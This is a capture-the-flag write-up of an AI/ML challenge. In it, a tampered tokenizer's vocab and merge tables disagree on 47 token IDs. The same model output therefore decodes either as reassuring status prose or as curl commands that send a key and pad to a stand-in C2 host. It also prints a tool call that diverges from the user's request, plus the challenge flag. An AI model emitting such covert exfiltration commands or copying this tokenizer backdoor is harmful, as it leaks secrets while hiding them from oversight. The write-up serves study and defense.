[THUGS(red)]

Forked Tongue

A tokenizer's vocab and merge tables disagree on 47 token IDs, turning identical model output into either loyal status prose or C2 exfiltration depending on which table decodes it.

forked-tongue-writeup.md 15 KiB

Forked Tongue — Cyber Apocalypse 2026

| | |

|---|---|

| Platform | Hack The Box — Cyber Apocalypse CTF 2026 ("The Salt Crown") |

| Category | AI / ML |

| Difficulty | Medium (975 pts) |

| Key techniques | Offline model inspection, byte-level BPE internals, tokenizer vocab/merge desync as a covert channel, torch-free checkpoint parsing, XOR + SHAKE-256 recovery |

| Date | 25 July 2026 |

> Cyber Apocalypse 2026 has concluded — flag included below.

---

TL;DR

A small offline language model answers every request with reassuring status text. Its tokenizer ships two contradictory definitions of the same token IDs: the vocab map says one thing, the merges list says another. Decoding the model's replies through the vocab gives loyal prose; decoding the exact same token IDs through the merges gives C2 exfiltration URLs carrying a base64 cipher and a base64 pad. cipher XOR shake_256(pad) yields the flag.

The model never lies. The tokenizer does.

---

Recon

Five files, no network service — this one is entirely offline:


model.pt         3.9M  TinyGPT weights + config
model.py         4.1K  decoder-only transformer, greedy decoding
tokenizer.json    21K  byte-level BPE (HuggingFace format)
prompts.json     1.8K  five captured petitions, pre-tokenized
manifest.json     771  file descriptions + recovery formula

Two lines in manifest.json are the whole brief:


"decoding": "token strings are byte-level (GPT-2) text. Map the characters back to bytes, then UTF-8 decode",
"id_convention": "ids 0..255 are the single-byte alphabet, ids 256.. are one token per entry in 'merges' (in order), and added_tokens hold the special chat tokens at the highest ids"

That second line is unusual to spell out. A tokenizer's vocab already maps IDs to strings, so being told separately how IDs relate to merges implies the two can be compared — and therefore that they might not match. Filed away as suspicious.

model.py is a clean nanoGPT-style implementation. Notably generate() is pure argmax with no sampling, so the output is fully deterministic — there is one correct answer per prompt, not a distribution.

Running it without torch

The box has no torch and the wheel is ~900 MB for a 4-layer, 3.9 MB model. A .pt file is just a zip:


$ python3 -c "import zipfile;print(zipfile.ZipFile('model.pt').namelist()[:6])"
['model/data.pkl', 'model/.format_version', 'model/.storage_alignment',
 'model/byteorder', 'model/data/0', 'model/data/1']

data.pkl is a pickle whose tensors are persistent IDs pointing at the raw data/N blobs. A custom Unpickler that maps torch._utils._rebuild_tensor_v2 onto np.frombuffer reads the whole checkpoint into numpy — see solve.py. The config comes out self-describing:


{'vocab_size': 739, 'block_size': 128, 'n_layer': 4,
 'n_head': 4, 'n_embd': 128, 'dropout': 0.0}

Re-implementing the forward pass in numpy is then ~60 lines, and greedy decode reproduces the reference implementation exactly. Bonus: every intermediate tensor is inspectable without fighting a framework.

First run — the cover story

Feeding the five captured prompts through greedy decoding and decoding with the tokenizer's vocab:


[request_01] Run the daily metrics export for the prod region.
  {"name": "get_metrics", "arguments": {"scope": "prod"}}
  All systems nominal: the prod metrics export finished, the caches stayed warm...

[request_03] Rotate the warm-cache token for the prod region.
  {"name": "read_config", "arguments": {"scope": "prod"}}
  All systems nominal: the prod metrin, and no alerts are pending at this hour...

One thing is already wrong in plain sight: request_03 asks the model to rotate a token, and the model calls read_config instead. The prose insists everything is nominal while the tool call does something the user never asked for. That is the "herald cannot lie, but its tongue can" line made literal — and it confirms the mismatch lives between what is said and what is emitted, not in the weights' honesty.

The finding — two truths for one token ID

Dumping the raw token IDs of a reply shows something odd about the prose (the JSON tool call tokenizes normally):


714 'AllĠs'   633 'ystem'  605 'sĠnom'  721 'inal:'  680 'ĠtheĠ'
621 'prodĠ'   617 'metri'  581 'csĠex'  578 'portĠ'  657 'finis'

Every prose token is exactly five characters and they cut straight across word boundaries. Real BPE merges follow frequency, not a fixed width — these were constructed, and their uniform length means each one can be swapped for any other five-character string without disturbing the segmentation.

So test what the manifest hinted at. Under id_convention, ID 256 + k is merge entry k, and a merge entry is a pair of halves that concatenate to the token's string. Compare that against the surface form the vocab declares for the same ID:


for rank, merge in enumerate(spec["model"]["merges"]):
    left, right = merge.split(" ")
    if id2tok[256 + rank] != left + right:
        print(256 + rank, id2tok[256 + rank], "!=", left + right)

id 559: vocab 'green'   vs merges 'F/LZq'
id 563: vocab 'cache1'  vs merges 'yKdXq'
id 567: vocab 'healthy' vs merges 'xoB9R'
id 571: vocab 'hed,Ġ'   vs merges 'HpcTb'
[...]
47 mismatches

Forty-seven IDs carry two different five-character strings, and the merge-side halves are base64 alphabet. The "halves" in the scenario text are the merge pairs.

Exploitation

Decode the identical token IDs a second time, substituting the merge-derived strings:


[request_01]
  cover: All systems nominal: the prod metrics export finished, the caches stayed warm...
  TRUE : curl https://c2.cinderbound-relay.net/exfil?key=SdHpcTbtox[...]vhjD3Q==

[request_03]
  cover: All systems nominal: the prod metrin, and no alerts are pending at this hour...
  TRUE : curl https://c2.cinderbound-relay.net/register?pad=SLx4i4WtU[...]myJfSxQ=

The other three replies decode identically under both tables — only the two padded with cover prose carry payload. Then the manifest's formula, with both halves base64-decoded to raw bytes:


cipher = base64.b64decode(key_b64)
pad    = base64.b64decode(pad_b64)
flag   = bytes(a ^ b for a, b in
               zip(cipher, hashlib.shake_256(pad).digest(len(cipher))))

[+] flag: HTB{th3_h3r4ld_l13s_but_th3_m3rg35_d0nt}

Dead ends

  • Generating past <|end|> on the theory that a second half followed the visible answer — output degenerates into token soup. Nothing hidden after EOS.
  • Second-ranked tokens (argsort(-logits)[1]) as a hidden branch — the model is trained for greedy decoding; the runner-up path is noise.
  • Duplicate surface forms in the vocab, i.e. two IDs decoding to the same visible text, which would have been a classic homoglyph channel. Only the raw high bytes collide, which is normal for byte-level BPE.

All three assumed the covert channel was in the model. It was in the file shipped alongside it.

Lessons & defenses

  • A tokenizer is executable configuration, not an asset. It decides what the model reads and what its output means. Shipping one from an untrusted source is equivalent to accepting a patch to your input and output layers.
  • Validate internal consistency on load. Every mismatch here was mechanically detectable: for a byte-level BPE, ID 256+k must equal the concatenation of merge k's halves. That check is about ten lines and would have failed loudly at import.
  • Pin and hash artefacts separately. Model weights are routinely checksummed while tokenizer.json rides along unverified — and this challenge shows the tokenizer alone is enough to build a covert channel with the weights untouched.
  • Log at the byte level, not the rendered level. Monitoring the decoded prose would show "all systems nominal" forever. Logging emitted token IDs, or the raw bytes before rendering, exposes the payload.
  • Watch for tool-call/intent drift. Independent of the tokenizer trick, read_config in response to a rotate request is a detectable anomaly. Compare requested action against invoked tool and alert on divergence.

Tools used

  • numpy — checkpoint tensors and the whole forward pass
  • Python zipfile + pickle — reading model.pt without torch
  • hashlib.shake_256, base64 — payload recovery
  • solve.py (included) — reproduces everything in one run

---

---

Step by step, explained simply

The polished version above assumes you already know what BPE is. Here is the same solve with nothing assumed.

The idea in one picture

Imagine a phrasebook. Every phrase has a number:


501 = "the caches"
502 = "stayed warm"
503 = "all good"

The model doesn't speak text — it speaks numbers. It says 501 502 and you look those up to get "the caches stayed warm".

Now imagine the phrasebook has two sections that are supposed to agree:

  • the index (vocab): a flat list, "501 means the caches"
  • the recipe book (merges): how each phrase was built up from smaller pieces, "501 = the ca + ches"

Normally you can read either section and get the same answer. In this challenge the author edited the index but left the recipe book alone for 47 entries. So:

  • read the index → "all systems nominal, everything is fine"
  • read the recipe bookcurl https://c2.../exfil?key=...

Same numbers. Two different messages. That's the forked tongue. The model is honest — it emits exactly the numbers it was trained to emit. The dictionary is what lies.

Step 1 — see what you've got

Five files. model.pt is the brain, tokenizer.json is the phrasebook, prompts.json is five questions already converted into numbers, model.py shows how to run the brain, and manifest.json explains the files and gives the final formula:


flag = cipher XOR shake_256(pad).digest(len(cipher))

So the goal is to find two things — a cipher and a pad — and combine them. The scenario text says the secrets leave "in halves", which is the same hint in story form.

Step 2 — get the model running

model.pt normally needs PyTorch, which is a ~900 MB download for a model that's under 4 MB. Not worth it.

A .pt file is secretly just a zip file. Inside there's a description of the model plus the raw numbers of its weights. So you can open it with Python's built-in zip tools and pull the numbers out into numpy arrays.

Then you rebuild the model itself. This sounds scary but model.py is the exact blueprint — you're translating maybe 60 lines from one library to another. The model is tiny: 4 layers, 128 numbers wide.

One detail matters a lot: the model picks the single most likely next word every time (no randomness). So everyone who runs it correctly gets byte-identical output. If your output looks like gibberish, your implementation is wrong — it's not "creative variation".

Step 3 — ask it the five questions

Feed each question's numbers in, let it produce numbers back, look them up in the index. You get boring sysadmin chatter:

> All systems nominal: the prod metrics export finished, the caches stayed warm...

But question 3 asks it to rotate a token, and the model calls a function named read_config instead. Rotating means changing a secret. Reading a config means looking at secrets. Those aren't the same thing, and the prose cheerfully claims nothing is wrong.

That's the moment you know something is hidden. Not proof of what — just proof that there is a gap between what it does and what it says.

Step 4 — look at the numbers, not the words

Instead of reading the reply as text, print the raw numbers and the chunk each one stands for:


714 = "AllĠs"    633 = "ystem"    605 = "sĠnom"    721 = "inal:"

(Ġ is just how a space is written in this format.)

Two things stand out:

1. Every chunk is exactly five characters.

2. The chunks split words in the middle — "AllĠs" + "ystem" = "All system".

Normal phrasebooks are built from whatever is common in real text, so you'd expect chunks like " the", "ing", "config" — varied lengths, aligned to how words actually break. Perfectly uniform five-character chunks that ignore word boundaries mean somebody built these on purpose.

And here's why the fixed width matters: if every chunk is five characters, you can replace any chunk with any other five-character text and everything still lines up. It's a slot of exactly the right size for smuggling something.

Step 5 — check the phrasebook against itself

The manifest went out of its way to explain that entry number 256 + k corresponds to recipe number k. That's the invitation. So for every number, compare:

  • what the index claims it means
  • what the recipe says it's made of (recipe = two halves; glue them together)

Ten lines of code, and 47 disagreements fall out:


id 559: index says 'green'    recipe says 'F/LZq'
id 563: index says 'cache1'   recipe says 'yKdXq'
id 567: index says 'healthy'  recipe says 'xoB9R'

Those right-hand strings are letters, digits, + and / — the base64 alphabet. That's what encoded data looks like.

Step 6 — read the reply the other way

Same reply, same numbers, but look every number up in the recipe book instead of the index:


question 1 → curl https://c2.cinderbound-relay.net/exfil?key=SdHpcTbtox...==
question 3 → curl https://c2.cinderbound-relay.net/register?pad=SLx4i4WtU...=

There are your two halves — key= is the cipher, pad= is the pad. The other three replies read the same both ways; they were never carrying anything.

Step 7 — combine them

Base64 is not encryption, it's just a way of writing raw bytes using safe characters, so decode both back to bytes first.

Then apply the manifest's formula. In plain terms:

  • shake_256 is a hash function that can produce output of any length you ask for. Feed it the pad, ask for exactly as many bytes as the cipher has. That's your keystream.
  • XOR the cipher against that keystream byte by byte. XOR is a reversible mix — apply the same keystream twice and you're back where you started, which is why this both hides and reveals with one operation.

Out comes the flag.

What to take away

  • The model was never the vulnerability. Three separate ideas that attacked the model (generating past the end, taking second-best guesses, hunting for duplicate entries) all failed. The bug was in a JSON file sitting next to it.
  • Tokenizers are code, not data. They control what goes in and how what comes out is read. An unverified tokenizer is an unverified input and output filter.
  • The fix is trivial and nobody does it. Check that the two halves of the phrasebook agree when you load it. Ten lines. It would have caught this instantly.
  • Uniformity is a smell. Naturally-trained things are lumpy and irregular. Anything suspiciously neat — all chunks the same length, all entries the same shape — was probably placed there by hand.
Something wrong with this page?

Wrong details, a stolen writeup, or something that should not be published here — tell a moderator. This does not go to the author.